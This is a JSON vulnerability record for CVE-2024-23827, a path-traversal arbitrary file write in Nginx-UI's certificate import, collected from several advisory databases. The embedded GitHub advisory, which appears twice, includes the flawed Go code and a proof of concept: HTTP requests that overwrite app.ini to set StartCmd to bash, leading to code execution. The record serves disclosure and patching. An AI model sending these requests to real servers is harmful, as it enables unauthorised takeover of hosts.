{"id":"CVE-2024-23827","aliases":["EUVD-2024-0460","GHSA-xvq9-4vpv-227m","GO-2024-2481"],"status":"published","title":"Nginx-UI arbitrary file write through the Import Certificate feature","description":"Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.","severity":{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00705,"percentile":0.53841,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2024-01-29T16:07:13Z","modified":"2026-10-28T02:30:27Z","fixes":[{"ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","fixed_in":["1.9.10-0.20240128060047-8581bdd3c6f4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20240128060047-8581bdd3c6f4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.9.10-0.20240128060047-8581bdd3c6f4"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/0xJacky/Nginx-UI","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"products":[{"vendor":"0xjacky","product":"nginx-ui"},{"vendor":"nginxui","product":"nginx_ui"}],"references":[{"url":"https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-xvq9-4vpv-227m","tags":["x_refsource_CONFIRM","x_transferred","Third Party Advisory","advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-23827","tags":["advisory"]},{"url":"https://github.com/0xJacky/nginx-ui/commit/8581bdd3c6f49ab345b773517ba9173fa7fc6199","tags":["web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72","tags":["web"]},{"url":"https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xvq9-4vpv-227m"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/23xxx/CVE-2024-23827.json","tags":["advisory"]},{"url":"https://github.com/0xJacky/nginx-ui","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2024-23827","title":"Nginx-UI arbitrary file write through the Import Certificate feature","description":"Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.","status":"published","published":"2024-01-29T16:07:13.953Z","modified":"2024-11-12T21:41:24.606Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:34:05.444281Z"}],"euvd":[{"id":"EUVD-2024-0460","description":"Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.","status":"published","published":"2024-01-29T16:07:13Z","modified":"2024-11-12T21:41:24Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-03T00:05:03.05351Z"}],"ghsa":[{"id":"GHSA-xvq9-4vpv-227m","title":"Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature","description":"### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```go\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName                  string `json:\"name\"`\n\t\tSSLCertificatePath    string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate        string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey     string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod       string `json:\"challenge_method\"`\n\t\tDnsCredentialID       int    `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, \u0026json) {\n\t\treturn\n\t}\n\tcertModel := \u0026model.Cert{\n\t\tName:                  json.Name,\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod:       json.ChallengeMethod,\n\t\tDnsCredentialID:       json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := \u0026cert.Content{\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate:        json.SSLCertificate,\n\t\tSSLCertificateKey:     json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```go\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost          = 0.0.0.0\\r\\nHttpPort          = 9000\\r\\nRunMode           = debug\\r\\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail             = props@pros.com\\r\\nDatabase          = database\\r\\nStartCmd          = bash\\r\\nCADir             = dqsdqsd\\r\\nDemo              = false\\r\\nPageSize          = 10\\r\\nGithubProxy       = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath  =\\r\\nConfigDir     =\\r\\nPIDPath       =\\r\\nTestConfigCmd =\\r\\nReloadCmd     =\\r\\nRestartCmd    =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken   =\\r\\nProxy   =\\r\\nModel   = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint     =\\r\\nClientId     =\\r\\nClientSecret =\\r\\nCertificate  =\\r\\nOrganization =\\r\\nApplication  =\\r\\nRedirectUri  =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png)\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.","status":"published","published":"2024-01-29T22:30:18Z","modified":"2026-07-06T19:16:59Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:40:39.314643Z"}],"nvd":[{"id":"CVE-2024-23827","description":"Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.","status":"published","published":"2024-01-29T16:15:09.867Z","modified":"2026-06-17T07:13:41.39Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:09:32.147098Z"}],"osv":[{"id":"CVE-2024-23827","title":"Nginx-UI arbitrary file write through the Import Certificate feature","description":"Nginx-UI is a web interface to manage Nginx configurations. The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. It's possible to leverage the vulnerability into a remote code execution overwriting the config file app.ini. Version 2.0.0.beta.12 fixed the issue.","status":"published","published":"2024-01-29T16:07:13.953Z","modified":"2026-10-28T02:30:27.454336604Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:38.897406Z"},{"id":"GHSA-xvq9-4vpv-227m","title":"Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature","description":"### Summary\n\nThe Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system.\n\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72\n\n```go\nfunc AddCert(c *gin.Context) {\n\tvar json struct {\n\t\tName                  string `json:\"name\"`\n\t\tSSLCertificatePath    string `json:\"ssl_certificate_path\" binding:\"required\"`\n\t\tSSLCertificateKeyPath string `json:\"ssl_certificate_key_path\" binding:\"required\"`\n\t\tSSLCertificate        string `json:\"ssl_certificate\"`\n\t\tSSLCertificateKey     string `json:\"ssl_certificate_key\"`\n\t\tChallengeMethod       string `json:\"challenge_method\"`\n\t\tDnsCredentialID       int    `json:\"dns_credential_id\"`\n\t}\n\tif !api.BindAndValid(c, \u0026json) {\n\t\treturn\n\t}\n\tcertModel := \u0026model.Cert{\n\t\tName:                  json.Name,\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tChallengeMethod:       json.ChallengeMethod,\n\t\tDnsCredentialID:       json.DnsCredentialID,\n\t}\n\n\terr := certModel.Insert()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tcontent := \u0026cert.Content{\n\t\tSSLCertificatePath:    json.SSLCertificatePath,\n\t\tSSLCertificateKeyPath: json.SSLCertificateKeyPath,\n\t\tSSLCertificate:        json.SSLCertificate,\n\t\tSSLCertificateKey:     json.SSLCertificateKey,\n\t}\n\n\terr = content.WriteFile()\n\n\tif err != nil {\n\t\tapi.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\tc.JSON(http.StatusOK, Transformer(certModel))\n}\n\n```\nhttps://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15\n\n```go\nfunc (c *Content) WriteFile() (err error) {\n\t// MkdirAll creates a directory named path, along with any necessary parents,\n\t// and returns nil, or else returns an error.\n\t// The permission bits perm (before umask) are used for all directories that MkdirAll creates.\n\t// If path is already a directory, MkdirAll does nothing and returns nil.\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\terr = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644)\n\tif err != nil {\n\t\treturn\n\t}\n\n\tif c.SSLCertificate != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\tif c.SSLCertificateKey != \"\" {\n\t\terr = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644)\n\t\tif err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\n\treturn\n}\n```\n\n\n### PoC\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 144\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/tmp/test\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"test\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# ls -la /tmp/test*\n-rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test\n-rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2\n```\n\nIt's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app.\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = login\n```\nThen we overwrite the `StartCmd` with `bash`\n\n```\nPOST /api/cert HTTP/1.1\nHost: 127.0.0.1:9000\nContent-Length: 980\nAccept: application/json, text/plain, */*\nAuthorization: \u003cJWT\u003e\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\nContent-Type: application/json\nAccept-Encoding: gzip, deflate, br\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7\nConnection: close\n\n{\"name\":\"poc\",\"ssl_certificate_path\":\"/root/nginx/app.ini\",\"ssl_certificate_key_path\":\"/tmp/test2\",\"ssl_certificate\":\"[server]\\r\\nHttpHost          = 0.0.0.0\\r\\nHttpPort          = 9000\\r\\nRunMode           = debug\\r\\nJwtSecret         = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\\r\\nNodeSecret        = 139ab224-9e9e-444f-987e-b3a651175ad5\\r\\nHTTPChallengePort = 9180\\r\\nEmail             = props@pros.com\\r\\nDatabase          = database\\r\\nStartCmd          = bash\\r\\nCADir             = dqsdqsd\\r\\nDemo              = false\\r\\nPageSize          = 10\\r\\nGithubProxy       = dqsdqfsdfsdfsdfsd\\r\\n\\r\\n[nginx]\\r\\nAccessLogPath =\\r\\nErrorLogPath  =\\r\\nConfigDir     =\\r\\nPIDPath       =\\r\\nTestConfigCmd =\\r\\nReloadCmd     =\\r\\nRestartCmd    =\\r\\n\\r\\n[openai]\\r\\nBaseUrl = \\r\\nToken   =\\r\\nProxy   =\\r\\nModel   = \\r\\n\\r\\n[casdoor]\\r\\nEndpoint     =\\r\\nClientId     =\\r\\nClientSecret =\\r\\nCertificate  =\\r\\nOrganization =\\r\\nApplication  =\\r\\nRedirectUri  =\",\"ssl_certificate_key\":\"test2\"}\n```\n\n```bash\nroot@aze:~/nginx# cat app.ini  | grep \"StartCmd\"\nStartCmd          = bash\n```\n\nFor the new config to be applied the app needs to be restarted\n\n![image](https://user-images.githubusercontent.com/26652608/299331664-6415a8c1-6611-4e53-8137-3e574c58da28.png)\n\n\n\n### Impact\n\nArbitrary write/overwrite into the host file system with a risk of remote code execution if the app restarts.","status":"published","published":"2024-01-29T22:30:18Z","modified":"2026-07-06T19:30:10.741600339Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:47:00.604718Z"},{"id":"GO-2024-2481","title":"Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature in github.com/0xJacky/Nginx-UI","description":"Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature in github.com/0xJacky/Nginx-UI.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: github.com/0xJacky/Nginx-UI before v2.0.0-beta.12.","status":"published","published":"2024-06-28T15:28:53Z","modified":"2024-07-09T19:33:56Z","updated_at":"2026-11-02T15:47:01.185262Z"}]}}
